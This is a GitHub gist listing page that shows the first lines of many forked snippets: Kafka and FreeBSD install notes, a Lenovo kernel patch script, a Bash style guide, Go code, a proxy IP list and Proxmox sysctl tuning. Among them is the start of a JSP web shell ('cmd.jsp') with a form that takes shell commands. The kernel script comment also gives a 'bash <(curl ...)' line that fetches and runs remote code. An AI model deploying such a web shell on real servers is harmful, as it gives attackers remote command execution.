Skip to content

Instantly share code, notes, and snippets.

cd /opt
wget http://apache-mirror.rbc.ru/pub/apache/kafka/0.10.1.0/kafka_2.11-0.10.1.0.tgz
tar xvzf kafka_2.11-0.10.1.0.tgz
ln -s kafka_2.11-0.10.1.0/ kafka
vi /etc/systemd/system/kafka-zookeeper.service
[Unit]
Description=Apache Zookeeper server (Kafka)
Documentation=http://zookeeper.apache.org
@ziplex
ziplex / build-patched-kernel.sh
Created September 2, 2021 12:16 — forked from jbuncle/build-patched-kernel.sh
Compile and install Linux Kernel with patch for Lenovo Legion 5 15ARH05 Touchpad
#! /bin/bash
#
# Lenovo Legion 5 Patch Utility
#
# This script aims to simplify the application of various patches required for Lenovo Legion 5 15ARH05.
# For convenience you can run this script with `bash <(curl https://gist.githubusercontent.com/jbuncle/7dacde983b3c33b3b816b10e2fd2308a/raw/build-patched-kernel.sh)`
#
# References:
# - Original bug and related patch: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1887190
# - Touchpad patch file: https://www.spinics.net/lists/linux-input/msg69458.html

progrium/bashstyle

Bash is the JavaScript of systems programming. Although in some cases it's better to use a systems language like C or Go, Bash is an ideal systems language for smaller POSIX-oriented or command line tasks. Here's three quick reasons why:

  • It's everywhere. Like JavaScript for the web, Bash is already there ready for systems programming.
  • It's neutral. Unlike Ruby, Python, JavaScript, or PHP, Bash offends equally across all communities. ;)
  • It's made to be glue. Write complex parts in C or Go (or whatever!), and glue them together with Bash.

This document is how I write Bash and how I'd like collaborators to write Bash with me in my open source projects. It's based on a lot of experience and time collecting best practices. Most of them come from these two articles, but here integrated, slightly modified, and focusing on the most bang for buck items. Plus some ne

@ziplex
ziplex / cache.go
Created March 25, 2021 15:57 — forked from santiaago/cache.go
Learning HTTP caching in Go
package main
import (
"bytes"
"flag"
"image"
"image/color"
"image/draw"
"image/jpeg"
"log"
# Booting from: FreeBSD-12.1-RELEASE-amd64-disc1.iso
# SHA256: aa9d34b458826486999ed3e872436b6712ae38cede5ea41de4ab923e3419d461
# We will set up a VERY simple test install
# This will have a ZFS mirror (2x16GB disks)
# There will be NO SWAP
# Install
# Set keyboard to UK
# Hostname: geli
@ziplex
ziplex / ip.txt
Created February 9, 2021 12:19 — forked from sempr/ip.txt
proxy check by golang
129.24.51.99 21320
24.158.231.6 80
54.161.139.184 5555
46.38.166.124 80
192.121.107.107 80
177.91.192.116 8080
1.0.138.14 8080
107.150.29.157 3128
98.145.71.245 21320
68.195.17.204 21320
redistribute connected metric 1 route-map filter_connected_routes
redistribute static metric 1
redistribute kernel metric 1
route-map filter_connected_routes permit 10
match ip address filter_connected_routes
access-list filter_connected_routes deny <network>
access-list filter_connected_routes permit any
@ziplex
ziplex / cmd.jsp
Created January 25, 2021 09:26 — forked from nikallass/cmd.jsp
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
@ziplex
ziplex / doc.adoc
Created December 30, 2020 16:31 — forked from KrustyHack/doc.adoc
proxmox-ubuntu-cloud-howto

Cloud-Init Support

Cloud-Init is the defacto multi-distribution package that handles early initialization of a virtual machine instance. Using Cloud-Init, one can configure network

@ziplex
ziplex / sysctl-proxmox-tune.conf
Created December 25, 2020 19:44 — forked from sergey-dryabzhinsky/sysctl-proxmox-tune.conf
Most popular speedup sysctl options for Proxmox. Put in /etc/sysctl.d/
###
# Proxmox or other server kernel params cheap tune and secure.
# Try it if you have heavy load on server - network or memory / disk.
# No harm assumed but keep your eyes open.
#
# @updated: 2020-02-06 - more params used, adjust some params values, more comments on params
#
### NETWORK ###